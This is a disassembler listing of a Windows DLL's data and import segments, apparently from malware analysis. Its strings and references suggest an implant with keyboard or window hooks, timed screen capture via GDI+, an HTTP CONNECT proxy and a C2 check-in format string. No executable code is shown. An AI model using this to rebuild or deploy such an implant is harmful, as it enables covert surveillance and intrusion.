aHttp1_0	db 'HTTP/1.0',0         ; DATA XREF: sub_10013A20+39Fo
		align 4
; char aErrorRecv[]
aErrorRecv	db 0Ah			; DATA XREF: sub_10013E02+198o
		db 'Error Recv',0
; char aClientCloseCon[]
aClientCloseCon	db 'Client Close connection',0Ah,0 ; DATA XREF: sub_10013E02+1CFo
		align 10h
; char buf[]
buf		db 'HTTP/1.1 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_10013E02+2B2o
		db 0Dh,0Ah,0
; char aConnect_0[]
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_10013E02+2DEo
aLocalhost	db 'localhost',0        ; DATA XREF: sub_100142FF+32o
		align 4
; char aClientCannotRe[]
aClientCannotRe	db 'Client: Cannot resolve address [%s]: Error %d',0Ah,0
					; DATA XREF: sub_100142FF+B5o
		align 4
; char aWs2_32[]
aWs2_32		db 'ws2_32',0           ; DATA XREF: sub_10016C4C+8Eo
		align 4
; char aAccept[]
aAccept		db 'accept',0           ; DATA XREF: sub_10016C4C+9Fo
		align 4
; char aBind[]
aBind		db 'bind',0             ; DATA XREF: sub_10016C4C+B6o
		align 4
; char asc_10023E84[]
asc_10023E84	db '--',0               ; DATA XREF: sub_10016C4C+FAo
		align 4
; char a10_[]
a10_		db '10.',0              ; DATA XREF: sub_10016C4C+333o
; char a192_168_[]
a192_168_	db '192.168.',0         ; DATA XREF: sub_10016C4C+34Eo
		align 4
; char a172_16_[]
a172_16_	db '172.16.',0          ; DATA XREF: sub_10016C4C+369o
; char aTcp[]
aTcp		db ':TCP',0             ; DATA XREF: sub_10016C4C+50Ao
		align 4
; char aTcp_0[]
aTcp_0		db ':TCP',0             ; DATA XREF: sub_10016C4C+5CAo
		align 10h
; char aSSSCntSHpDSpD[]
aSSSCntSHpDSpD	db '%s%s%s&cnt=%s&hp=%d&sp=%d',0 ; DATA XREF: sub_10016C4C+6B5o
		align 4
aCb		db 'CB',0               ; DATA XREF: sub_10016C4C:loc_10017346o
		align 10h
; char aSSSCntS[]
aSSSCntS	db '%s%s%s&cnt=%s',0    ; DATA XREF: sub_10016C4C+724o
		align 10h
; char a_detour[]
a_detour	db '.detour',0          ; DATA XREF: sub_10018210+A9o
; size_t Count
Count		dd 1			; DATA XREF: sub_10018954+8r
					; sub_10018AC6:loc_10018B69r ...
byte_10023EEC	db 1			; DATA XREF: sub_100189B8+A1r
					; sub_1001A057+F7r ...
byte_10023EED	db 1			; DATA XREF: sub_100189B8+9Br
					; sub_1001967C+12r ...
		align 10h
off_10023EF0	dd offset aCdata	; DATA XREF: sub_100194D2+57r
					; sub_10019BC6+45o ...
					; "<![CDATA["
dword_10023EF4	dd 9		off_10023EF8	dd offset asc_10024040	; DATA XREF: sub_100194D2+64r
					; "]]>"
off_10023EFC	dd offset aDoctype	; DATA XREF: sub_1001954D+14r
					; "<!DOCTYPE"
		dd 9
		dd offset asc_10024030	; ">"
		dd offset aPre		; "<PRE>"
		dd 5
		dd offset aPre_0	; "</PRE>"
		dd offset aScript	; "<Script>"
		dd 8
		dd offset aScript_0	; "</Script>"
		dd offset asc_10024000	; "<!--"
		dd 4
		dd offset asc_10023FFC	; "-->"
		dd 3 dup(0)
off_10023F38	dd offset aAmp		; DATA XREF: sub_10018D54+1Bo
					; sub_10018DD2+13o ...
					; "&"
dword_10023F3C	dd 5		byte_10023F40	db 26h			; DATA XREF: sub_10018D54:loc_10018D69r
					; sub_10018DD2+Dr
		align 4
		dd offset aLt		; "<"
		dd 4, 3Ch
		dd offset aGt		; ">"
		dd 4, 3Eh
		dd offset aQuot		; """
		dd 6, 22h
		dd offset aApos		; "'"
		dd 6, 27h, 3 dup(0)
off_10023F80	dd offset byte_1001F738	; DATA XREF: sub_10018D54:loc_10018D92r
					; sub_10018DD2:loc_10018DFFr ...
off_10023F84	dd offset asc_10023FD0	; DATA XREF: sub_1001954D:loc_10019591r
					; sub_1001954D+4Cr
					; "]>"
		dd offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
					; DATA XREF: .data:10023F88o
		align 10h
asc_10023FD0	db ']>',0               ; DATA XREF: .data:off_10023F84o
		align 4
aApos		db ''',0           ; DATA XREF: .data:10023F68o
		align 4
aQuot		db '"',0           ; DATA XREF: .data:10023F5Co
		align 4
aGt		db '>',0             ; DATA XREF: .data:10023F50o
		align 4
aLt		db '<',0             ; DATA XREF: .data:10023F44o
		align 4
aAmp		db '&',0            ; DATA XREF: .data:off_10023F38o
		align 4
asc_10023FFC	db '-->',0              ; DATA XREF: .data:10023F28o
asc_10024000	db '<!--',0             ; DATA XREF: .data:10023F20o
		align 4
aScript_0	db '</Script>',0        ; DATA XREF: .data:10023F1Co
		align 4
aScript		db '<Script>',0         ; DATA XREF: .data:10023F14o
		align 10h
aPre_0		db '</PRE>',0           ; DATA XREF: .data:10023F10o
		align 4
aPre		db '<PRE>',0            ; DATA XREF: .data:10023F08o
		align 10h
; char asc_10024030[]
asc_10024030	db '>',0                ; DATA XREF: sub_1001A22D+41Fo
					; .data:10023F04o
		align 4
aDoctype	db '<!DOCTYPE',0        ; DATA XREF: .data:off_10023EFCo
		align 10h
asc_10024040	db ']]>',0              ; DATA XREF: .data:off_10023EF8o
aCdata		db '<![CDATA[',0        ; DATA XREF: .data:off_10023EF0o
		align 10h
; char Mode[]
Mode		db 'rb',0               ; DATA XREF: sub_100189B8+Ao
					; sub_1001A057:loc_1001A079o ...
		align 4
; char a?xmlVersion1_0[]
a?xmlVersion1_0	db '<?xml version="1.0" encoding="%s"?>',0Ah,0 ; DATA XREF: sub_10018AC6+F4o
		align 4
aIso88591	db 'ISO-8859-1',0       ; DATA XREF: sub_10018AC6+E8o
		align 4
aShiftJis	db 'SHIFT-JIS',0        ; DATA XREF: sub_10018AC6+DAo
		align 4
; char aUtf8[]
aUtf8		db 'utf-8',0            ; DATA XREF: sub_10018AC6+D0o
					; sub_1001AB59+15Co
		align 4
; char aWb[]
aWb		db 'wb',0               ; DATA XREF: sub_10018AC6+39o
					; sub_1001AE00+6o
		align 10h
; char asc_100240A0[]
asc_100240A0	db '/>',0Ah,0           ; DATA XREF: sub_1001A22D+46Do
; char asc_100240A4[]
asc_100240A4	db '/>',0               ; DATA XREF: sub_1001A22D+456o
		align 4
asc_100240A8	db '>',0Ah,0            ; DATA XREF: sub_1001A22D:loc_1001A65Co
		align 4
; char asc_100240AC[]
asc_100240AC	db '</',0               ; DATA XREF: sub_1001A22D+3F8o
		align 10h
; char aSjis[]
aSjis		db 'sjis',0             ; DATA XREF: sub_1001AB59+19Fo
		align 4
; char aShiftJis_0[]
aShiftJis_0	db 'shift-jis',0        ; DATA XREF: sub_1001AB59+18Eo
		align 4
; char aShiftjis[]
aShiftjis	db 'shiftjis',0         ; DATA XREF: sub_1001AB59+17Eo
		align 10h
; char aUtf8_0[]
aUtf8_0		db 'utf8',0             ; DATA XREF: sub_1001AB59+16Do
		align 4
; char aEncoding[]
aEncoding	db 'encoding',0         ; DATA XREF: sub_1001AB59+EBo
		align 4
; char aD_D_0[]
aD_D_0		db ' %d.%d%%',0Ah,0     ; DATA XREF: sub_1001AE90+1D5o
		align 10h
word_100240F0	dw 20h			; DATA XREF: sub_1001AE90+178r
byte_100240F2	db 0			; DATA XREF: sub_1001AE90+184r
		align 4
dword_100240F4	dd 0		word_100240F8	dw 120h			; DATA XREF: sub_1001AE90+160r
		align 4
dword_100240FC	dd 35686C2Dh	byte_10024100	db 2Dh			; DATA XREF: sub_1001AE90+95r
		align 4
; char aAddingS[]
aAddingS	db 'Adding %s ',0       ; DATA XREF: sub_1001AE90:loc_1001AEF1o
		align 10h
; char aReplacingS[]
aReplacingS	db 'Replacing %s ',0    ; DATA XREF: sub_1001AE90+4Co
		align 10h
; char aCanTOpenS[]
aCanTOpenS	db 'Can',27h,'t open %s',0Ah,0 ; DATA XREF: sub_1001AE90+2Co
		align 10h
; char aUnableToWrite[]
aUnableToWrite	db 'Unable to write',0  ; DATA XREF: sub_1001B450+20o
; char aOutOfMemory_[]
aOutOfMemory_	db 'Out of memory.',0   ; DATA XREF: sub_1001B770+6Co
					; sub_1001C420+4Bo
		align 10h
; char a17[]
a17		db '17',0               ; DATA XREF: sub_1001C6A0+5Bo
		align 8
dword_10024158	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_10024168	dd offset off_1001FB68	; DATA XREF: .rdata:off_1001FB70o
					; .rdata:1001FBACo ...
		align 10h
a_?av_com_error	db '.?AV_com_error@@',0
		align 8
off_10024188	dd offset off_1001FB68	; DATA XREF: .rdata:off_1001FBB8o
					; .rdata:1001FBF4o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
_data		ends

;
; Delayed imports from gdiplus.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
		extrn GdipGetImageEncodersSize:dword
					; DATA XREF: GdipGetImageEncodersSize_thunk+2o
					; j_GdipGetImageEncodersSize_thunkr ...
		extrn GdipGetImageEncoders:dword ; DATA	XREF: GdipGetImageEncoders_thunk+2o
					; j_GdipGetImageEncoders_thunkr
		extrn GdipSaveImageToFile:dword	; DATA XREF: GdipSaveImageToFile_thunk+2o
					; j_GdipSaveImageToFile_thunkr
		extrn GdipDisposeImage:dword ; DATA XREF: GdipDisposeImage_thunk+2o
					; j_GdipDisposeImage_thunkr
		extrn GdipFree:dword	; DATA XREF: GdipFree_thunk+2o
					; j_GdipFree_thunkr
		extrn GdipCloneImage:dword ; DATA XREF:	GdipCloneImage_thunk+2o
					; j_GdipCloneImage_thunkr
		extrn GdipAlloc:dword	; DATA XREF: GdipAlloc_thunk+2o
					; j_GdipAlloc_thunkr
		extrn GdipCreateBitmapFromHBITMAP:dword
					; DATA XREF: GdipCreateBitmapFromHBITMAP_thunk+2o
					; j_GdipCreateBitmapFromHBITMAP_thunkr
		extrn GdipCloneBitmapAreaI:dword ; DATA	XREF: GdipCloneBitmapAreaI_thunk+2o
					; j_GdipCloneBitmapAreaI_thunkr
		extrn GdiplusStartup:dword ; DATA XREF:	GdiplusStartup_thunk+2o
					; j_GdiplusStartup_thunkr
		extrn GdiplusShutdown:dword ; DATA XREF: GdiplusShutdown_thunk+2o
					; j_GdiplusShutdown_thunkr

; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 100241CCh
		align 10h
; HDC hdc
hdc		dd 0			; DATA XREF: TimerFunc+B3r
					; TimerFunc+C4r ...
; UINT_PTR dword_100241D4
dword_100241D4	dd 0							; sub_1000AF7F+3Aw ...
		dd 0
; HGDIOBJ h
h		dd 0			; DATA XREF: TimerFunc:loc_1000308Ar
					; sub_1000537C+DCw ...
; LPCSTR Dest
Dest		dd 0			; DATA XREF: sub_100071C0+DFw
					; sub_100071C0+105r ...
		dd 87h dup(0)
		dd 0F78h dup(?)
dword_100281E0	dd ?							; sub_100010AC+3o ...
; UINT_PTR uIDEvent
uIDEvent	dd ?			; DATA XREF: TimerFunc+8Fr
					; sub_1000537C+1E6w
; FILETIME CreationTime
CreationTime	FILETIME <?>		; DATA XREF: sub_1000291D+168o
					; sub_1000291D+16Do ...
dword_100281F0	dd ?							; sub_100071C0+58r ...
		align 8
dword_100281F8	dd ?							; sub_10004DAA+2A4r ...
dword_100281FC	dd ?							; sub_100050D9+1BEr ...
; HANDLE dword_10028200
dword_10028200	dd ?							; sub_10007B34+87r ...
		dd 0FFFh dup(?)
dword_1002C200	dd 2 dup(?)						; sub_1000103A+3o
; HMODULE hModule
hModule		dd ?			; DATA XREF: sub_1000A318+612w
					; sub_1000A318+632r ...
; void *dword_1002C20C
dword_1002C20C	dd ?							; sub_1000878F+1054r ...
; int dword_1002C210
dword_1002C210	dd ?							; sub_10004960+81r ...
; HANDLE hFindFile
hFindFile	dd ?			; DATA XREF: sub_100071C0+51w
					; sub_100071C0+5Er ...
		dd 1000h dup(?)
dword_10030218	dd ?							; TimerFunc+1EEo ...
dword_1003021C	dd ?				dd 2 dup(?)
; void *dword_10030228
dword_10030228	dd ?							; sub_1000878F+F9Cr ...
; HANDLE hHandle
hHandle		dd ?			; DATA XREF: TimerFunc+43r
					; TimerFunc:loc_1000307Dr ...
; LPSTR	lpBuffer
lpBuffer	dd ?			; DATA XREF: sub_10007B34+108w
					; sub_10007B34+12Er ...
		dd 0FFFh dup(?)
dword_10034230	dd ?		dword_10034234	dd ?							; sub_10007B34+81r ...
dword_10034238	dd 2 dup(?)						; sub_1000103A+Do
; struct tagRECT rc
rc		tagRECT	<?>		; DATA XREF: sub_10004DAA+1F5w
					; sub_10004DAA+20Fr ...
dword_10034250	dd 4 dup(?)						; TimerFunc+20Bo ...
; void *dword_10034260
dword_10034260	dd ?							; sub_1000878F+EE4r ...
dword_10034264	dd 40h dup(?)						; sub_1000291D+8Fo ...
; void *dword_10034364
dword_10034364	dd ?							; sub_1000878F+298r ...
		dd 31h dup(?)
; HGDIOBJ ho
ho		dd ?			; DATA XREF: TimerFunc+BFw
					; TimerFunc+E3r ...
		dd 0Dh dup(?)
; void *dword_10034464
dword_10034464	dd ?							; sub_10003786+12Dr ...
		dd 18Fh	dup(?)
; void *dword_10034AA4
dword_10034AA4	dd ?							; sub_1000878F+3F3r ...
		dd 0C7h	dup(?)
dword_10034DC4	dd ?							; sub_100108A3+5C5r ...
		dd 0C6h	dup(?)
; LPCSTR lpString
lpString	dd ?			; DATA XREF: sub_100015CE+539r
					; sub_100015CE+567r
; LPSTR	lpString1
lpString1	dd ?			; DATA XREF: sub_100015CE+3B5w
					; sub_100015CE+3C6r ...
		dd 0C7h	dup(?)
; LPCSTR dword_10035404
dword_10035404	dd ?							; sub_100108A3+5B1r ...
		dd 0C6h	dup(?)
; LPCSTR dword_10035720
dword_10035720	dd ?							; sub_100015CE+599r ...
; LPSTR	dword_10035724
dword_10035724	dd ?							; sub_100015CE+42Fr ...
		dd 0C7h	dup(?)
dword_10035A44	dd ?							; sub_10011167+53Er
		dd 0C7h	dup(?)
; LPSTR	dword_10035D64
dword_10035D64	dd ?							; sub_100015CE+61Br
		dd 18Fh	dup(?)
; LPSTR	dword_100363A4
dword_100363A4	dd ?							; sub_100015CE+660r
		dd 18Fh	dup(?)
; LPSTR	dword_100369E4
dword_100369E4	dd ?							; sub_100015CE+6A5r
		dd 18Fh	dup(?)
dword_10037024	dd ?							; .text:1000CBC5r ...
		dd 3Fh dup(?)
dword_10037124	dd ?							; TimerFunc+1E3r ...
		dd ?
dword_1003712C	dd ?							; sub_10010623+129r
		dd 2000h dup(?)
; void *dword_1003F130
dword_1003F130	dd ?							; sub_1000878F+1192r ...
		dd 18Fh	dup(?)
; void *dword_1003F770
dword_1003F770	dd ?							; sub_1000878F+1449r ...
		dd 0FFFh dup(?)
; void *dword_10043770
dword_10043770	dd ?							; sub_100050D9+6Cr ...
		dd 0FFFh dup(?)
; void *dword_10047770
dword_10047770	dd ?							; sub_1000878F+16FFr ...
		dd 0FFFh dup(?)
; LPSTR	dword_1004B770
dword_1004B770	dd ?							; TimerFunc+2D0w ...
		dd 0FFFh dup(?)
; void *Dst
Dst		dd ?			; DATA XREF: sub_1000878F+184w
					; sub_1000878F+192r ...
		dd 18Fh	dup(?)
; void *dword_1004FDB0
dword_1004FDB0	dd ?							; sub_1000878F+94Ew
		dd 1009h dup(?)
; LPSTR	dword_10053DD8
dword_10053DD8	dd ?							; sub_1000A318+697r ...
		dd 0FFFh dup(?)
; void *dword_10057DD8
dword_10057DD8	dd ?							; sub_1000878F+A7Aw
		dd 3Fh dup(?)
; LPSTR	dword_10057ED8
dword_10057ED8	dd ?							; sub_1000A318+AA3r ...
		dd 0FFFh dup(?)
; void *dword_1005BED8
dword_1005BED8	dd ?							; sub_1000878F+B44w
		dd 0FFFh dup(?)
; LPSTR	dword_1005FED8
dword_1005FED8	dd ?							; sub_1000878F+C0Ew ...
		dd 17FFh dup(?)
; char byte_10065ED8[]
byte_10065ED8	db 500h	dup(?)		; DATA XREF: TimerFunc+1C2o
					; TimerFunc+3B1o ...
dword_100663D8	dd 40h dup(?)						; sub_10001F5B+E1o
; char String[]
String		db 11Ch	dup(?)		; DATA XREF: sub_10001DE0+AFo
					; sub_10001DE0+12Fo ...
; LPVOID lpParameter
lpParameter	dd ?			; DATA XREF: sub_1000A318+A87w
					; sub_1000A318+ABAr ...
		dd 0FFFh dup(?)
; char Str[]
Str		db 100h	dup(?)		; DATA XREF: TimerFunc+378o
					; TimerFunc+38Co ...
; char byte_1006A6F4[]
byte_1006A6F4	db 200h	dup(?)		; DATA XREF: sub_100050D9+80o
					; sub_100050D9+C5o ...
dword_1006A8F4	dd ?		; resolved to->SHELL32.SHGetSpecialFolderPathA					; sub_1000878F+C88r ...
dword_1006A8F8	dd ?							; sub_1000A318+655r
dword_1006A8FC	dd ?		; resolved to->KERNEL32.CopyFileA					; sub_1000B7EF+767r
dword_1006A900	dd ?							; sub_100050D9+A0w ...
dword_1006A904	dd ?							; sub_100050D9+141w ...
; HHOOK	hhk
hhk		dd ?			; DATA XREF: TimerFunc+61r
					; TimerFunc+6Ew ...
; HHOOK	dword_1006A90C
dword_1006A90C	dd ?							; sub_10004960+EEr ...
; HHOOK	dword_1006A910
dword_1006A910	dd ?							; TimerFunc+85w ...
dword_1006A914	dd ?		; HBRUSH hbr
hbr		dd ?			; DATA XREF: sub_1000537C+13Ar
					; sub_1000C9DC+2Dw
; HGDIOBJ dword_1006A91C
dword_1006A91C	dd ?							; sub_1000C9DC+7Dw
; HGDIOBJ dword_1006A920
dword_1006A920	dd ?							; sub_100050D9+147r ...
; char byte_1006A924[]
byte_1006A924	db 40h dup(?)		; DATA XREF: TimerFunc+2F2o
					; sub_10009FE2+58o ...
; HHOOK	dword_1006A964
dword_1006A964	dd ?							; sub_10003460+44w ...
; HWND hWnd
hWnd		dd ?			; DATA XREF: sub_10003460+1Br
					; sub_10003460+59w ...
dword_1006A96C	dd ?							; .text:10002094w ...
; UINT Msg
Msg		dd ?			; DATA XREF: sub_10003460+61w
					; sub_10003541+12r ...
; char String1[]
String1		db 8000h dup(?)		; DATA XREF: sub_10003786+5Do
					; sub_10003786+925o ...
dword_10072974	dd 200h	dup(?)	; char byte_10073174[]
byte_10073174	db 800h	dup(?)		; DATA XREF: sub_10011AA3+131o
					; sub_10011AA3+14Fo ...
dword_10073974	dd ?							; sub_10003786+EFEw ...
dword_10073978	dd ?							; sub_10003786+D36w ...
dword_1007397C	dd ?							; sub_10011CA2+4Ar
dword_10073980	dd ?							; sub_100034DC:loc_10003518w
dword_10073984	dd ?		; char byte_10073988[]
byte_10073988	db 4 dup(?)		; DATA XREF: sub_10001DE0+BEo
; char Source[]
Source		db 4 dup(?)		; DATA XREF: sub_10001F5B+48o
; char byte_10073990[]
byte_10073990	db 4 dup(?)		; DATA XREF: sub_10009FE2+24Do
; char byte_10073994[]
byte_10073994	db 4 dup(?)		; DATA XREF: sub_1000A318+1EBo
; char byte_10073998[]
byte_10073998	db 4 dup(?)		; DATA XREF: sub_1000A318+1FDo
; char byte_1007399C[]
byte_1007399C	db 4 dup(?)		; DATA XREF: sub_1000A318+20Co
dword_100739A0	dd ?		dword_100739A4	dd ?		; char byte_100739A8[]
byte_100739A8	db 4 dup(?)		; DATA XREF: sub_1000A318+AF2o
; char byte_100739AC[]
byte_100739AC	db 4 dup(?)		; DATA XREF: sub_1000B7EF+9DBo
dword_100739B0	dd ?		dword_100739B4	dd ?		dword_100739B8	dd 2 dup(?)	dword_100739C0	dd ?							; .text:1000E9C4r
		dd 13h dup(?)
dword_10073A10	dd ?							; .text:1000E987r ...
		dd 0Dh dup(?)
dword_10073A48	dd ?							; sub_1000FBCC+2Fr ...
dword_10073A4C	dd ?							; sub_1000FDDB+F1r ...
dword_10073A50	dd ?							; sub_1000FBCC+47r ...
dword_10073A54	dd ?							; sub_1000FBCC+113r ...
dword_10073A58	dd ?							; sub_1000FDDB+1A5r ...
; void *dword_10073A5C
dword_10073A5C	dd ?							; sub_100102E8+24r ...
		dd 3Fh dup(?)
dword_10073B5C	dd ?							; sub_1000FBCC+E5r ...
dword_10073B60	dd ?							; sub_1000FDDB+51r ...
dword_10073B64	dd ?							; sub_1000FBCC+A1r ...
dword_10073B68	dd ?							; sub_1000FDDB+Dr ...
dword_10073B6C	dd ?							; sub_1000FBCC+5Dr ...
dword_10073B70	dd ?							; sub_1000FDDB+135r ...
dword_10073B74	dd ?							; sub_1000FDDB+D9r ...
; HANDLE hEvent
hEvent		dd ?			; DATA XREF: sub_100102E8:loc_10010333r
					; sub_100108A3+15Dr ...
dword_10073B7C	dd ?							; sub_1000FBCC+CFr ...
dword_10073B80	dd ?							; sub_1000FDDB+161r ...
dword_10073B84	dd ?							; sub_1000FBCC+73r ...
dword_10073B88	dd ?							; sub_1000FDDB+3Br ...
dword_10073B8C	dd ?							; sub_1000FDDB+ADr ...
dword_10073B90	dd ?							; .text:1000FFCBr
dword_10073B94	dd 82h dup(?)	dword_10073D9C	dd ?							; sub_1000FDDB+107r ...
dword_10073DA0	dd ?							; sub_1000FDDB+11Dr ...
dword_10073DA4	dd ?							; sub_1000FBCC+8Br ...
dword_10073DA8	dd ?							; sub_1000FDDB+69r ...
dword_10073DAC	dd ?							; sub_1000FBCC+Dr ...
dword_10073DB0	dd ?							; sub_1000FBCC+FBr ...
dword_10073DB4	dd ?							; sub_1000FBCC+B7r ...
dword_10073DB8	dd ?							; sub_1000FDDB+25r ...
dword_10073DBC	dd ?							; sub_1000FDDB+14Br ...
dword_10073DC0	dd ?							; sub_1000FDDB+95r ...
dword_10073DC4	dd ?							; sub_1000FDDB+7Fr ...
dword_10073DC8	dd ?							; sub_1000FDDB+18Fr ...
dword_10073DCC	dd ?							; sub_1000FDDB+C3r ...
dword_10073DD0	dd ?							; sub_1000FDDB+179r ...
dword_10073DD4	dd ?							; sub_1001036D+34w
dword_10073DD8	dd ?		dword_10073DDC	dd ?							; .text:1000F214r ...
dword_10073DE0	dd ?		; LPCSTR dword_10073DE4
dword_10073DE4	dd ?							; sub_10011167+140r ...
; LPCSTR Memory
Memory		dd ?			; DATA XREF: sub_100108A3+B7w
					; sub_100108A3+10Ar ...
dword_10073DEC	dd ?							; sub_10011167:loc_1001198Dr ...
dword_10073DF0	dd ?							; sub_10011167+15Br ...
dword_10073DF4	dd ?							; sub_100108A3:loc_10011082r ...
dword_10073DF8	dd ?							; sub_100108A3+124r ...
dword_10073DFC	dd ?							; sub_1001087Ar ...
dword_10073E00	dd ?							; sub_100108A3+3Fr ...
; volatile LONG	Addend
Addend		dd ?			; DATA XREF: sub_1001361F+24o
; char byte_10073E08[]
byte_10073E08	db 4 dup(?)		; DATA XREF: sub_100100FD+107o
dword_10073E0C	dd ?		dword_10073E10	dd 3 dup(?)	; HMODULE dword_10073E1C
dword_10073E1C	dd ?							; sub_10016C4C+14Er ...
dword_10073E20	dd ?							; sub_10013A20:loc_10013B06w ...
		align 8
dword_10073E28	dd ?							; sub_10014B0F+229o
dword_10073E2C	dd ?		dword_10073E30	dd ?		dword_10073E34	dd 40h dup(?)						; sub_10016C4C+10Co ...
dword_10073F34	dd ?							; sub_10016BBE+6Aw
; char name[]
name		db 40h dup(?)		; DATA XREF: sub_10014B0F+6Ao
					; sub_10016C4C+1C7o ...
dword_10073F78	dd ?							; sub_10014B0F+1FCw ...
dword_10073F7C	dd ?							; sub_10016C4C+16Cr ...
dword_10073F80	dd ?		; resolved to->WS2_32.accept					; sub_10014B0F+E8Ar ...
dword_10073F84	dd ?		; resolved to->WS2_32.bind					; sub_10015BF1+BE8r ...
dword_10073F88	dd ?							; sub_10015BF1+C30r ...
dword_10073F8C	dd ?		dword_10073F90	dd ?		dword_10073F94	dd ?		dword_10073F98	dd ?		dword_10073F9C	dd ?							; _CRT_INIT(x,x,x)+10w	...
; LPVOID lpAddress
lpAddress	dd ?			; DATA XREF: sub_10017741+2r
					; sub_1001780B+2r ...
dword_10073FA4	dd ?							; sub_10017DDC+56w ...
dword_10073FA8	dd ?							; sub_10017B39+90r ...
; volatile LONG	Destination
Destination	dd ?			; DATA XREF: sub_100176F1+3r
					; sub_100176F1+13o ...
dword_10073FB0	dd ?							; sub_1001785F:loc_10017892r ...
dword_10073FB4	dd ?							; sub_1001785F+13r ...
; void *dword_10073FB8
dword_10073FB8	dd ?							; sub_10017768+6Er ...
; void *dword_10073FBC
dword_10073FBC	dd ?							; sub_10017768+18r ...
		dd 0Ch dup(?)
dword_10073FF0	dd ?							; sub_10018AAB+10o ...
byte_10073FF4	db ?			; DATA XREF: sub_10018AABr
					; sub_10018AAB+9w
		align 4
dword_10073FF8	dd 4 dup(?)						; sub_1001AA61:loc_1001AA7Do
dword_10074008	dd 2 dup(?)	gdiplus_dll_handle dd ?			; DATA XREF: .rdata:10020468o
dword_10074014	dd ?							; sub_1001AE90+144r ...
; __int32 Offset
Offset		dd ?			; DATA XREF: sub_1001AE90+CAw
					; sub_1001AE90+135r ...
dword_1007401C	dd ?							; sub_1001B0E0+12r ...
byte_10074020	db ?			; DATA XREF: sub_1001AE90+B2w
		align 4
		dd ?
		db ?
dword_10074029	dd ?		word_1007402D	dw ?			; DATA XREF: sub_1001AE90+172w
byte_1007402F	db ?			; DATA XREF: sub_1001AE90+A3w
; char Filename[]
Filename	db 0ECh	dup(?)		; DATA XREF: sub_1001AE00+3Ao
					; sub_1001AE90+6o ...
dword_1007411C	dd ?							; sub_1001AE90+E7r ...
dword_10074120	dd ?							; sub_1001AE90+154r ...
dword_10074124	dd ?							; sub_1001B110+21r
dword_10074128	dd 802h	dup(?)						; sub_1001B1D0+41o ...
dword_10076130	dd ?							; sub_1001AE90+122r ...
word_10076134	dw ?			; DATA XREF: sub_1001B2C0+3o
					; sub_1001B3E0+4Fr ...
		align 4
		dd 7Eh dup(?)
		db 2 dup(?)
word_10076332	dw ?			; DATA XREF: sub_1001B2C0+24o
; FILE *File
File		dd ?			; DATA XREF: sub_1001AE00+15w
					; sub_1001AE00:loc_1001AE5Er ...
dword_10076338	dd ?							; sub_1001B2F0+2Aw ...
; FILE *dword_1007633C
dword_1007633C	dd ?							; sub_1001AE90+F6r ...
		dd ?
dword_10076344	dd ?							; sub_1001B2F0+19w ...
; FILE *dword_10076348
dword_10076348	dd ?		dword_1007634C	dd ?							; sub_1001B770+40w ...
dword_10076350	dd ?							; sub_1001B4E0+A3r ...
dword_10076354	dd ?							; sub_1001B5C0+63r ...
dword_10076358	dd ?							; sub_1001B640+8Fr ...
dword_1007635C	dd ?							; sub_1001B5C0+55r ...
dword_10076360	dd ?							; sub_1001B4E0+20w ...
dword_10076364	dd ?							; sub_1001B4E0+5Ar ...
dword_10076368	dd ?							; sub_1001B770+28w ...
; void *dword_1007636C
dword_1007636C	dd ?							; sub_1001B4E0+B8r ...
dword_10076370	dd ?							; sub_1001B640+5Er ...
dword_10076374	dd ?							; sub_1001B4E0+3Fr ...
dword_10076378	dd ?							; sub_1001BE50+5Cr ...
dword_1007637C	dd ?							; sub_1001BE50+8w ...
word_10076380	dw ?			; DATA XREF: sub_1001C4F0+163w
					; sub_1001C790+2Fr
		align 4
		dd 1FDh	dup(?)
word_10076B78	dw ?			; DATA XREF: sub_1001BE50+70w
					; sub_1001BF50+Eo ...
		align 4
		dd 1FEh	dup(?)
dword_10077374	dd ?							; sub_1001BF50+BCo ...
		dd 4 dup(?)
word_10077388	dw ?			; DATA XREF: sub_1001BE50:loc_1001BF38w
					; sub_1001BF50+C1o ...
		align 4
		dd 80Dh	dup(?)
word_100793C0	dw ?			; DATA XREF: sub_1001C4F0+16Aw
					; sub_1001C790+46r
		align 4
		dd 1FDh	dup(?)
dword_10079BB8	dd ?							; sub_1001BE50+8Ar
word_10079BBC	dw ?			; DATA XREF: sub_1001BF50+4Bo
					; sub_1001C0F0+8o ...
word_10079BBE	dw ?			; DATA XREF: sub_1001C0F0+69w
					; sub_1001C0F0+7Ew
word_10079BC0	dw ?			; DATA XREF: sub_1001C0F0:loc_1001C177w
					; sub_1001C0F0:loc_1001C180w
		align 4
		dd 11h dup(?)
dword_10079C08	dd ?							; sub_1001BE50+4Dw ...
		dd 80h dup(?)
byte_10079E0C	db ?			; DATA XREF: sub_1001BF50+9o
					; sub_1001C0F0+32r ...
		align 10h
		dd 7Eh dup(?)
		db ?
byte_1007A009	db 3 dup(?)		; DATA XREF: sub_1001C0F0+16o
					; sub_1001C230+6o
dword_1007A00C	dd ?							; sub_1001BF50:loc_1001C007o ...
dword_1007A010	dd ?							; sub_1001C230+134r
		dd 8 dup(?)
word_1007A034	dw ?			; DATA XREF: sub_1001BF50+4o
					; sub_1001C390+8r
		align 4
		dd 0FEh	dup(?)
dword_1007A430	dd ?							; sub_1001C420r ...
dword_1007A434	dd ?							; sub_1001C4F0+42r ...
dword_1007A438	dd ?							; sub_1001C4F0:loc_1001C553r ...
dword_1007A43C	dd ?							; sub_1001C4F0:loc_1001C529r ...
dword_1007A440	dd ?							; sub_1001C4F0+4Er ...
dword_1007A444	dd ?							; sub_1001C4F0+CDr ...
word_1007A448	dw ?			; DATA XREF: sub_1001C6A0+Ao
					; sub_1001C6A0+3Ao ...
word_1007A44A	dw ?			; DATA XREF: sub_1001C6A0+94w
					; sub_1001C6A0+9Co ...
		dd 6 dup(?)
		db 2 dup(?)
word_1007A466	dw ?			; DATA XREF: sub_1001C6A0+75o
word_1007A468	dw ?			; DATA XREF: sub_1001C6A0+24o
					; sub_1001C6A0+69w ...
		align 4
word_1007A46C	dw ?			; DATA XREF: sub_1001C4F0+5Bw
					; sub_1001C4F0+E9r ...
